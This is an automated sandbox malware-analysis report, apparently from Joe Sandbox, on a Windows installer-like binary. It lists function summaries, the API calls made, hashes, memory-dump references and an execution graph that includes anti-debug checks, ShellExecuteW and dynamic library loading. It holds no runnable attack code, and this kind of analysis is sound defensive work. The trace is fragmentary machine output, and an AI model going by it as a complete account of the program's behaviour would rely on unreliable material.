                                                                                                                                                                • API ID: CloseCreateHandleProcess
                                                                                                                                                                • String ID: Error launching installer
                                                                                                                                                                • API String ID: 3712363035-66219284
                                                                                                                                                                • Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
                                                                                                                                                                • Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
                                                                                                                                                                • Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
                                                                                                                                                                • Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68
                                                                                                                                                                Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                • wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                  • Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseHandlelstrlenwvsprintf
                                                                                                                                                                • String ID: RMDir: RemoveDirectory invalid input("")
                                                                                                                                                                • API String ID: 3509786178-2769509956
                                                                                                                                                                • Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
                                                                                                                                                                • Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
                                                                                                                                                                • Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
                                                                                                                                                                • Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E
                                                                                                                                                                Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
                                                                                                                                                                • lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
                                                                                                                                                                • CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
                                                                                                                                                                • lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: lstrlen$CharNextlstrcmpi
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 190613189-0
                                                                                                                                                                • Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
                                                                                                                                                                • Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
                                                                                                                                                                • Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
                                                                                                                                                                • Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

                                                                                                                                                                Execution Graph

                                                                                                                                                                Execution Coverage:3.2%
                                                                                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                Signature Coverage:3.5%
                                                                                                                                                                Total number of Nodes:2000
                                                                                                                                                                Total number of Limit Nodes:62
                                                                                                                                                                execution_graph 106847 9b081b 106848 9b0827 CallCatchBlock 106847->106848 106877 9b02d1 106848->106877 106850 9b082e 106851 9b0981 106850->106851 106854 9b0858 106850->106854 106918 9b0c5f IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 106851->106918 106853 9b0988 106911 9b5272 106853->106911 106863 9b0897 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 106854->106863 106888 9c280d 106854->106888 106861 9b0877 106867 9b08f8 106863->106867 106914 9b523a 38 API calls 3 library calls 106863->106914 106865 9b08fe 106900 9928e0 106865->106900 106896 9b0d79 106867->106896 106871 9b091a 106871->106853 106872 9b091e 106871->106872 106873 9b0927 106872->106873 106916 9b5215 28 API calls _abort 106872->106916 106917 9b0460 13 API calls 2 library calls 106873->106917 106876 9b092f 106876->106861 106878 9b02da 106877->106878 106920 9b0ab8 IsProcessorFeaturePresent 106878->106920 106880 9b02e6 106921 9b30b4 10 API calls 3 library calls 106880->106921 106882 9b02eb 106883 9b02ef 106882->106883 106922 9c26a7 106882->106922 106883->106850 106886 9b0306 106886->106850 106891 9c2824 106888->106891 106889 9b0eac __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 106890 9b0871 106889->106890 106890->106861 106892 9c27b1 106890->106892 106891->106889 106893 9c27e0 106892->106893 106894 9b0eac __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 5 API calls 106893->106894 106895 9c2809 106894->106895 106895->106863 106997 9b2760 106896->106997 106899 9b0d9f 106899->106865 106901 992947 106900->106901 106902 9928ec IsThemeActive 106900->106902 106915 9b0db2 GetModuleHandleW 106901->106915 106999 9b5363 106902->106999 106904 992917 107005 9b53c9 106904->107005 106906 99291e 107012 9928ab SystemParametersInfoW SystemParametersInfoW 106906->107012 106908 992925 107013 99331e 106908->107013 106910 99292d SystemParametersInfoW 106910->106901 108058 9b4fef 106911->108058 106914->106867 106915->106871 106916->106873 106917->106876 106918->106853 106920->106880 106921->106882 106926 9cd616 106922->106926 106925 9b30dd 8 API calls 3 library calls 106925->106883 106927 9cd633 106926->106927 106930 9cd62f 106926->106930 106927->106930 106932 9c501b 106927->106932 106929 9b02f8 106929->106886 106929->106925 106944 9b0eac 106930->106944 106933 9c5027 CallCatchBlock 106932->106933 106951 9c337e EnterCriticalSection 106933->106951 106935 9c502e 106952 9c54cf 106935->106952 106937 9c503d 106943 9c504c 106937->106943 106965 9c4eaf 29 API calls 106937->106965 106940 9c5047 106966 9c4f65 GetStdHandle GetFileType 106940->106966 106941 9c505d __wsopen_s 106941->106927 106967 9c5068 LeaveCriticalSection _abort 106943->106967 106945 9b0eb7 IsProcessorFeaturePresent 106944->106945 106946 9b0eb5 106944->106946 106948 9b107d 106945->106948 106946->106929 106996 9b1041 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 106948->106996 106950 9b1160 106950->106929 106951->106935 106953 9c54db CallCatchBlock 106952->106953 106954 9c54ff 106953->106954 106955 9c54e8 106953->106955 106968 9c337e EnterCriticalSection 106954->106968 106976 9c2c38 20 API calls _abort 106955->106976 106958 9c54ed 106977 9c2b7c 26 API calls __wsopen_s 106958->106977 106959 9c550b 106964 9c5537 106959->106964 106969 9c5420 106959->106969 106961 9c54f7 __wsopen_s 106961->106937 106978 9c555e LeaveCriticalSection _abort 106964->106978 106965->106940 106966->106943 106967->106941 106968->106959 106979 9c509d 106969->106979 106971 9c5432 106975 9c543f 106971->106975 106986 9c3825 11 API calls 2 library calls 106971->106986 106974 9c5491 106974->106959 106987 9c2de8 106975->106987 106976->106958 106977->106961 106978->106961 106984 9c50aa _unexpected 106979->106984 106980 9c50ea 106994 9c2c38 20 API calls _abort 106980->106994 106981 9c50d5 RtlAllocateHeap 106982 9c50e8 106981->106982 106981->106984 106982->106971 106984->106980 106984->106981 106993 9b52cd 7 API calls 2 library calls 106984->106993 106986->106971 106988 9c2df3 RtlFreeHeap 106987->106988 106992 9c2e1c _free 106987->106992 106989 9c2e08 106988->106989 106988->106992 106995 9c2c38 20 API calls _abort 106989->106995 106991 9c2e0e GetLastError 106991->106992 106992->106974 106993->106984 106994->106982 106995->106991 106996->106950 106998 9b0d8c GetStartupInfoW 106997->106998 106998->106899 107000 9b536f CallCatchBlock 106999->107000 107062 9c337e EnterCriticalSection 107000->107062 107002 9b537a pre_c_initialization 107063 9b53ba 107002->107063 107004 9b53af __wsopen_s 107004->106904 107006 9b53ef 107005->107006 107007 9b53d5 107005->107007 107006->106906 107007->107006 107067 9c2c38 20 API calls _abort 107007->107067 107009 9b53df 107068 9c2b7c 26 API calls __wsopen_s 107009->107068 107011 9b53ea 107011->106906 107012->106908 107014 99332e __wsopen_s 107013->107014 107069 999091 107014->107069 107018 993361 IsDebuggerPresent 107019 99336f 107018->107019 107020 9d3e16 MessageBoxA 107018->107020 107021 9d3e2e 107019->107021 107022 993383 107019->107022 107020->107021 107190 997998 22 API calls 107021->107190 107133 992950 107022->107133 107029 9933f5 107031 9d3e5f SetCurrentDirectoryW 107029->107031 107032 9933fd 107029->107032 107031->107032 107033 993408 107032->107033 107191 9f1edd AllocateAndInitializeSid CheckTokenMembership FreeSid 107032->107191 107172 993466 7 API calls 107033->107172 107036 9d3e7a 107036->107033 107039 9d3e8c 107036->107039 107192 994ff8 107039->107192 107040 993412 107045 993427 107040->107045 107176 993df8 107040->107176 107042 9d3e95 107199 99c110 107042->107199 107046 993442 107045->107046 107186 993b82 107045->107186 107052 993449 SetCurrentDirectoryW 107046->107052 107047 9d3ea3 107049 9d3eab 107047->107049 107050 9d3ed2 107047->107050 107203 994dcb 107049->107203 107053 994dcb 22 API calls 107050->107053 107055 99345d 107052->107055 107061 9d3ece GetForegroundWindow ShellExecuteW 107053->107061 107055->106910 107059 9d3f03 107059->107046 107060 994dcb 22 API calls 107060->107061 107061->107059 107062->107002 107066 9c33c6 LeaveCriticalSection 107063->107066 107065 9b53c1 107065->107004 107066->107065 107067->107009 107068->107011 107070 9990a6 107069->107070 107217 9b01fb 107070->107217 107072 99333a GetCurrentDirectoryW 107073 99496b 107072->107073 107074 999091 22 API calls 107073->107074 107075 994981 107074->107075 107239 997772 107075->107239 107077 99499f 107253 998e3b 107077->107253 107079 9949b3 107257 99b4d2 107079->107257 107082 99c110 22 API calls 107083 9949d7 107082->107083 107260 998fbd 107083->107260 107085 9949e7 107086 99c110 22 API calls 107085->107086 107087 994a0d 107086->107087 107088 998fbd 40 API calls 107087->107088 107089 994a1c 107088->107089 107090 999091 22 API calls 107089->107090 107091 994a3a 107090->107091 107264 994b5c 107091->107264 107093 994a46 107268 9b4e48 107093->107268 107095 994a54 107096 9d45ee 107095->107096 107097 994a5e 107095->107097 107098 994b5c 22 API calls 107096->107098 107099 9b4e48 _strftime 40 API calls 107097->107099 107100 9d4602 107098->107100 107101 994a69 107099->107101 107104 994b5c 22 API calls 107100->107104 107101->107100 107102 994a73 107101->107102 107103 9b4e48 _strftime 40 API calls 107102->107103 107105 994a7e 107103->107105 107106 9d461e 107104->107106 107105->107106 107107 994a88 107105->107107 107109 994ff8 24 API calls 107106->107109 107108 9b4e48 _strftime 40 API calls 107107->107108 107110 994a93 107108->107110 107111 9d4641 107109->107111 107112 9d466a 107110->107112 107119 994a9d 107110->107119 107113 994b5c 22 API calls 107111->107113 107116 994b5c 22 API calls 107112->107116 107114 9d464d 107113->107114 107121 994b5c 22 API calls 107114->107121 107115 994ac0 107118 9d46a5 107115->107118 107278 9948fb 107115->107278 107117 9d4688 107116->107117 107124 994b5c 22 API calls 107117->107124 107119->107115 107122 994b5c 22 API calls 107119->107122 107121->107112 107122->107115 107124->107118 107126 994ade 107287 9a1ef0 107126->107287 107128 99b4d2 22 API calls 107130 994af9 107128->107130 107129 9a1ef0 22 API calls 107129->107130 107130->107128 107130->107129 107131 994b3d 107130->107131 107132 994b5c 22 API calls 107130->107132 107131->107018 107132->107130 107134 99295d __wsopen_s 107133->107134 107135 9d368e ___scrt_fastfail 107134->107135 107136 992976 107134->107136 107138 9d36aa GetOpenFileNameW 107135->107138 107326 9950f7 107136->107326 107140 9d36f9 107138->107140 107142 99b0db 22 API calls 107140->107142 107144 9d370e 107142->107144 107144->107144 107146 992994 107354 992b70 107146->107354 108008 9935b7 7 API calls 107172->108008 107174 99340d 107175 993546 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 107174->107175 107175->107040 107177 993e23 ___scrt_fastfail 107176->107177 108009 99554e 107177->108009 107180 993ea9 107182 9d4287 Shell_NotifyIconW 107180->107182 107183 993ec7 Shell_NotifyIconW 107180->107183 108013 994c04 107183->108013 107185 993edd 107185->107045 107187 993be4 107186->107187 107188 993b94 ___scrt_fastfail 107186->107188 107187->107046 107189 993bb3 Shell_NotifyIconW 107188->107189 107189->107187 107190->107029 107191->107036 107193 9d2370 __wsopen_s 107192->107193 107194 995005 GetModuleFileNameW 107193->107194 107195 99c110 22 API calls 107194->107195 107196 99502b 107195->107196 107197 9950f7 23 API calls 107196->107197 107198 995035 107197->107198 107198->107042 107200 99c11f __fread_nolock _wcslen 107199->107200 107201 9b01fb 22 API calls 107200->107201 107202 99c15d 107201->107202 107202->107047 107204 9d4806 107203->107204 107205 994de2 107203->107205 107207 9b01fb 22 API calls 107204->107207 108047 994df3 107205->108047 107209 9d4810 __fread_nolock _wcslen 107207->107209 107208 994ded 107210 994d30 107208->107210 107211 9d476f 107210->107211 107212 994d42 107210->107212 108057 9f12f6 22 API calls __fread_nolock 107211->108057 108052 994d53 107212->108052 107215 994d4e 107215->107060 107216 9d4779 107221 9b0200 107217->107221 107219 9b021a 107219->107072 107221->107219 107223 9b021c 107221->107223 107227 9bee2c 107221->107227 107234 9b52cd 7 API calls 2 library calls 107221->107234 107222 9b0a8d 107236 9b36c4 RaiseException 107222->107236 107223->107222 107235 9b36c4 RaiseException 107223->107235 107226 9b0aaa 107226->107072 107232 9c3c40 _unexpected 107227->107232 107228 9c3c7e 107238 9c2c38 20 API calls _abort 107228->107238 107230 9c3c69 RtlAllocateHeap 107231 9c3c7c 107230->107231 107230->107232 107231->107221 107232->107228 107232->107230 107237 9b52cd 7 API calls 2 library calls 107232->107237 107234->107221 107235->107222 107236->107226 107237->107232 107238->107231 107240 99777f __wsopen_s 107239->107240 107241 99b0db 22 API calls 107240->107241 107242 9977b1 107240->107242 107241->107242 107252 9977e7 107242->107252 107294 9978f9 107242->107294 107244 9978f9 22 API calls 107244->107252 107245 99c110 22 API calls 107246 9978de 107245->107246 107248 995e8e 22 API calls 107246->107248 107247 99c110 22 API calls 107247->107252 107249 9978ea 107248->107249 107249->107077 107251 9978b5 107251->107245 107251->107249 107252->107244 107252->107247 107252->107251 107297 995e8e 107252->107297 107254 998e55 107253->107254 107256 998e48 107253->107256 107255 9b01fb 22 API calls 107254->107255 107255->107256 107256->107079 107258 9b01fb 22 API calls 107257->107258 107259 9949ca 107258->107259 107259->107082 107261 998fc8 107260->107261 107262 998ff7 107261->107262 107305 99900b 40 API calls 107261->107305 107262->107085 107265 994b84 107264->107265 107267 994b66 107264->107267 107266 99b0db 22 API calls 107265->107266 107266->107267 107267->107093 107269 9b4ecb 107268->107269 107270 9b4e56 107268->107270 107308 9b4edd 40 API calls 3 library calls 107269->107308 107274 9b4e7b 107270->107274 107306 9c2c38 20 API calls _abort 107270->107306 107273 9b4ed8 107273->107095 107274->107095 107275 9b4e62 107307 9c2b7c 26 API calls __wsopen_s 107275->107307 107277 9b4e6d 107277->107095 107279 994903 107278->107279 107280 9b01fb 22 API calls 107279->107280 107281 994911 107280->107281 107309 994945 107281->107309 107284 9947f0 107312 9a3900 107284->107312 107286 994800 107286->107126 107288 9a1f06 107287->107288 107289 9e7676 107288->107289 107290 9a1f10 107288->107290 107325 9abd4f 22 API calls 107289->107325 107292 9a202b 107290->107292 107293 9b01fb 22 API calls 107290->107293 107292->107130 107293->107292 107301 998f59 107294->107301 107296 997904 107296->107242 107300 995e9d __fread_nolock 107297->107300 107298 9b01fb 22 API calls 107299 995ed1 107298->107299 107299->107252 107300->107298 107302 998f6c 107301->107302 107304 998f69 __fread_nolock 107301->107304 107303 9b01fb 22 API calls 107302->107303 107303->107304 107304->107296 107305->107262 107306->107275 107307->107277 107308->107273 107310 9b01fb 22 API calls 107309->107310 107311 994919 107310->107311 107311->107284 107313 9a390b 107312->107313 107314 9e81aa 107313->107314 107319 9a3913 ISource 107313->107319 107315 9b01fb 22 API calls 107314->107315 107316 9e81b6 107315->107316 107317 9a391a 107317->107286 107319->107317 107320 9a3980 107319->107320 107321 9a398b ISource 107320->107321 107323 9a39c6 ISource 107321->107323 107324 9ae156 22 API calls ISource 107321->107324 107323->107319 107324->107323 107325->107292 107381 9d2370 107326->107381 107329 99513e 107332 998e3b 22 API calls 107329->107332 107330 995123 107331 99b0db 22 API calls 107330->107331 107333 99512f 107331->107333 107332->107333 107383 993249 107333->107383 107336 9932e0 107337 9d2370 __wsopen_s 107336->107337 107338 9932ed GetLongPathNameW 107337->107338 107339 99b0db 22 API calls 107338->107339 107340 992988 107339->107340 107341 994f9d 107340->107341 107342 999091 22 API calls 107341->107342 107343 994faf 107342->107343 107344 9950f7 23 API calls 107343->107344 107345 994fba 107344->107345 107346 9d4a36 CompareStringW 107345->107346 107347 994fc5 107345->107347 107349 9d4a63 107346->107349 107350 9d4a58 107346->107350 107348 995e8e 22 API calls 107347->107348 107351 994fd1 107348->107351 107350->107346 107350->107349 107391 991585 107351->107391 107353 994fe4 107353->107146 107395 992be0 107354->107395 107357 9d38bd 107514 a0358a 107357->107514 107359 992be0 94 API calls 107360 992ba9 107359->107360 107360->107357 107362 992bb1 107360->107362 107361 9d38ce 107363 9d38d2 107361->107363 107380 9d38ef 107361->107380 107364 992bbd 107362->107364 107365 9d38da 107362->107365 107556 992c4e 107363->107556 107417 997e80 107364->107417 107562 9fe1d0 82 API calls 107365->107562 107370 9d38e8 107370->107380 107371 9d3ae5 107376 9d3aed 107371->107376 107372 992c4e 68 API calls 107372->107376 107376->107372 107564 9fa072 82 API calls __wsopen_s 107376->107564 107377 99c110 22 API calls 107377->107380 107380->107371 107380->107376 107380->107377 107540 a013b6 107380->107540 107546 998c8d 107380->107546 107552 99beb6 107380->107552 107563 9f9d84 40 API calls _wcslen 107380->107563 107382 995104 GetFullPathNameW 107381->107382 107382->107329 107382->107330 107384 993257 107383->107384 107387 9999c5 107384->107387 107386 99297f 107386->107336 107388 9999d3 107387->107388 107390 9999dc __fread_nolock 107387->107390 107389 998f59 22 API calls 107388->107389 107388->107390 107389->107390 107390->107386 107394 991597 __fread_nolock 107391->107394 107392 9b01fb 22 API calls 107393 9915cd 107392->107393 107393->107353 107394->107392 107565 99320e LoadLibraryA 107395->107565 107400 992c0b LoadLibraryExW 107573 9931d7 LoadLibraryA 107400->107573 107401 9d3b46 107402 992c4e 68 API calls 107401->107402 107405 9d3b4d 107402->107405 107407 9931d7 3 API calls 107405->107407 107409 9d3b55 107407->107409 107408 992c35 107408->107409 107410 992c41 107408->107410 107593 992daa 107409->107593 107411 992c4e 68 API calls 107410->107411 107413 992b95 107411->107413 107413->107357 107413->107359 107416 9d3b7c 107418 997ea9 107417->107418 107419 9d60c8 107417->107419 107421 9962ad CloseHandle 107418->107421 107880 9fa072 82 API calls __wsopen_s 107419->107880 107422 997edb 107421->107422 107423 999091 22 API calls 107422->107423 107426 997ee4 107423->107426 107424 997f41 107427 999091 22 API calls 107424->107427 107425 997f33 107425->107424 107428 9d60e2 107425->107428 107881 9fd455 SetFilePointerEx SetFilePointerEx SetFilePointerEx WriteFile 107425->107881 107429 9962ad CloseHandle 107426->107429 107430 997f4d 107427->107430 107428->107424 107428->107425 107431 997eed 107429->107431 107820 9afca9 107430->107820 107434 9962ad CloseHandle 107431->107434 107437 997ef6 107434->107437 107435 9d613e 107435->107424 107838 993195 SetFilePointerEx SetFilePointerEx SetFilePointerEx CreateFileW CreateFileW 107437->107838 107438 999091 22 API calls 107440 997f65 107438->107440 107444 9950f7 23 API calls 107440->107444 107441 997f10 107442 997f18 107441->107442 107443 9d64fa 107441->107443 107839 992e2b 27 API calls ISource 107442->107839 107892 9fa072 82 API calls __wsopen_s 107443->107892 107446 997f73 107444->107446 107825 9afb60 107446->107825 107448 9d650f 107448->107448 107452 997f2a 107840 992e14 SetFilePointerEx SetFilePointerEx SetFilePointerEx 107452->107840 107455 997fb6 107457 999091 22 API calls 107455->107457 107456 9d6154 107458 9962ad CloseHandle 107456->107458 107459 997fbf 107457->107459 107460 9d615d 107458->107460 107461 999091 22 API calls 107459->107461 107462 992be0 94 API calls 107460->107462 107463 997fc8 107461->107463 107464 9d6185 107462->107464 107515 a035a6 107514->107515 107516 992dd4 64 API calls 107515->107516 107517 a035ba 107516->107517 107910 a036f9 107517->107910 107520 992daa 40 API calls 107521 a035e9 107520->107521 107522 992daa 40 API calls 107521->107522 107523 a035f9 107522->107523 107524 992daa 40 API calls 107523->107524 107525 a03614 107524->107525 107526 992daa 40 API calls 107525->107526 107527 a0362f 107526->107527 107528 992dd4 64 API calls 107527->107528 107529 a03646 107528->107529 107530 9bee2c ___std_exception_copy 21 API calls 107529->107530 107531 a0364d 107530->107531 107532 9bee2c ___std_exception_copy 21 API calls 107531->107532 107533 a03657 107532->107533 107534 992daa 40 API calls 107533->107534 107535 a0366b 107534->107535 107536 a0318f 27 API calls 107535->107536 107538 a03681 107536->107538 107537 a035d2 107537->107361 107538->107537 107916 a02b5f 79 API calls 107538->107916 107541 a013c1 107540->107541 107542 9b01fb 22 API calls 107541->107542 107543 a013d8 107542->107543 107544 99c110 22 API calls 107543->107544 107545 a013e3 107544->107545 107545->107380 107547 998c9d __fread_nolock 107546->107547 107548 9b01fb 22 API calls 107547->107548 107549 998ca4 107548->107549 107550 9b01fb 22 API calls 107549->107550 107551 998cc2 107549->107551 107550->107551 107551->107380 107553 99bf6d 107552->107553 107554 99bec9 107552->107554 107553->107380 107554->107553 107555 9b01fb 22 API calls 107554->107555 107555->107554 107557 992c58 107556->107557 107559 992c5f 107556->107559 107917 9bea98 107557->107917 107560 9d3ba2 FreeLibrary 107559->107560 107561 992c76 107559->107561 107561->107365 107562->107370 107563->107380 107564->107376 107566 992bf2 107565->107566 107567 993226 GetProcAddress 107565->107567 107570 9bea0b 107566->107570 107568 993236 107567->107568 107568->107566 107569 99323d FreeLibrary 107568->107569 107569->107566 107601 9be94a 107570->107601 107572 992bff 107572->107400 107572->107401 107574 992c23 107573->107574 107575 9931ec GetProcAddress 107573->107575 107578 992c80 107574->107578 107576 9931fc 107575->107576 107576->107574 107577 993204 FreeLibrary 107576->107577 107577->107574 107579 992c95 107578->107579 107653 993172 107579->107653 107581 992ca1 __fread_nolock 107582 9d3bc0 107581->107582 107586 992cdc 107581->107586 107661 a038e0 CreateStreamOnHGlobal FindResourceExW LoadResource SizeofResource LockResource 107581->107661 107662 a03964 74 API calls 107582->107662 107585 992daa 40 API calls 107585->107586 107586->107585 107587 992dd4 64 API calls 107586->107587 107589 992d70 ISource 107586->107589 107590 9d3c04 107586->107590 107587->107586 107589->107408 107656 992dd4 107590->107656 107592 992daa 40 API calls 107592->107589 107594 9d3c5e 107593->107594 107595 992dbc 107593->107595 107694 9bece4 107595->107694 107598 a0318f 107803 a02fdf 107598->107803 107600 a031aa 107600->107416 107603 9be956 CallCatchBlock 107601->107603 107602 9be964 107626 9c2c38 20 API calls _abort 107602->107626 107603->107602 107605 9be994 107603->107605 107607 9be999 107605->107607 107608 9be9a6 107605->107608 107606 9be969 107627 9c2b7c 26 API calls __wsopen_s 107606->107627 107628 9c2c38 20 API calls _abort 107607->107628 107618 9c8481 107608->107618 107612 9be974 __wsopen_s 107612->107572 107613 9be9af 107614 9be9c2 107613->107614 107615 9be9b5 107613->107615 107630 9be9f4 LeaveCriticalSection __fread_nolock 107614->107630 107629 9c2c38 20 API calls _abort 107615->107629 107619 9c848d CallCatchBlock 107618->107619 107631 9c337e EnterCriticalSection 107619->107631 107621 9c849b 107632 9c851b 107621->107632 107625 9c84cc __wsopen_s 107625->107613 107626->107606 107627->107612 107628->107612 107629->107612 107630->107612 107631->107621 107640 9c853e 107632->107640 107633 9c84a8 107645 9c84d7 107633->107645 107634 9c8597 107635 9c509d _unexpected 20 API calls 107634->107635 107636 9c85a0 107635->107636 107638 9c2de8 _free 20 API calls 107636->107638 107639 9c85a9 107638->107639 107639->107633 107650 9c3825 11 API calls 2 library calls 107639->107650 107640->107633 107640->107634 107640->107640 107648 9b95ad EnterCriticalSection 107640->107648 107649 9b95c1 LeaveCriticalSection 107640->107649 107642 9c85c8 107651 9b95ad EnterCriticalSection 107642->107651 107652 9c33c6 LeaveCriticalSection 107645->107652 107647 9c84de 107647->107625 107648->107640 107649->107640 107650->107642 107651->107633 107652->107647 107654 9b01fb 22 API calls 107653->107654 107655 993184 107654->107655 107655->107581 107657 992de3 107656->107657 107660 9d3c7e 107656->107660 107663 9bf103 107657->107663 107661->107582 107662->107586 107666 9beeca 107663->107666 107665 992df1 107665->107592 107667 9beed6 CallCatchBlock 107666->107667 107668 9beee2 107667->107668 107670 9bef08 107667->107670 107691 9c2c38 20 API calls _abort 107668->107691 107679 9b95ad EnterCriticalSection 107670->107679 107671 9beee7 107692 9c2b7c 26 API calls __wsopen_s 107671->107692 107674 9bef14 107680 9bf02a 107674->107680 107676 9bef28 107693 9bef47 LeaveCriticalSection __fread_nolock 107676->107693 107678 9beef2 __wsopen_s 107678->107665 107679->107674 107681 9bf04c 107680->107681 107682 9bf03c 107680->107682 107683 9bef51 28 API calls 107681->107683 107684 9c2c38 _free 20 API calls 107682->107684 107686 9bf06f 107683->107686 107685 9bf041 107684->107685 107685->107676 107687 9be02b 62 API calls 107686->107687 107690 9bf0ee 107686->107690 107688 9bf096 107687->107688 107689 9c9844 __wsopen_s 28 API calls 107688->107689 107689->107690 107690->107676 107691->107671 107692->107678 107693->107678 107697 9bed01 107694->107697 107696 992dcd 107696->107598 107698 9bed0d CallCatchBlock 107697->107698 107699 9bed4d 107698->107699 107700 9bed20 ___scrt_fastfail 107698->107700 107701 9bed45 __wsopen_s 107698->107701 107710 9b95ad EnterCriticalSection 107699->107710 107724 9c2c38 20 API calls _abort 107700->107724 107701->107696 107704 9bed57 107711 9beb18 107704->107711 107705 9bed3a 107725 9c2b7c 26 API calls __wsopen_s 107705->107725 107710->107704 107715 9beb2a ___scrt_fastfail 107711->107715 107718 9beb47 107711->107718 107712 9beb37 107799 9c2c38 20 API calls _abort 107712->107799 107714 9beb8a __fread_nolock 107717 9beca6 ___scrt_fastfail 107714->107717 107714->107718 107727 9bdd75 107714->107727 107734 9c9165 107714->107734 107801 9bd398 26 API calls 4 library calls 107714->107801 107715->107712 107715->107714 107715->107718 107802 9c2c38 20 API calls _abort 107717->107802 107726 9bed8c LeaveCriticalSection __fread_nolock 107718->107726 107722 9beb3c 107800 9c2b7c 26 API calls __wsopen_s 107722->107800 107724->107705 107725->107701 107726->107701 107728 9bdd81 107727->107728 107729 9bdd96 107727->107729 107730 9c2c38 _free 20 API calls 107728->107730 107729->107714 107731 9bdd86 107730->107731 107732 9c2b7c __wsopen_s 26 API calls 107731->107732 107733 9bdd91 107732->107733 107733->107714 107735 9c918f 107734->107735 107736 9c9177 107734->107736 107737 9c94f9 107735->107737 107741 9c91d4 107735->107741 107738 9c2c25 __dosmaperr 20 API calls 107736->107738 107740 9c2c25 __dosmaperr 20 API calls 107737->107740 107739 9c917c 107738->107739 107742 9c2c38 _free 20 API calls 107739->107742 107743 9c94fe 107740->107743 107744 9c91df 107741->107744 107745 9c9184 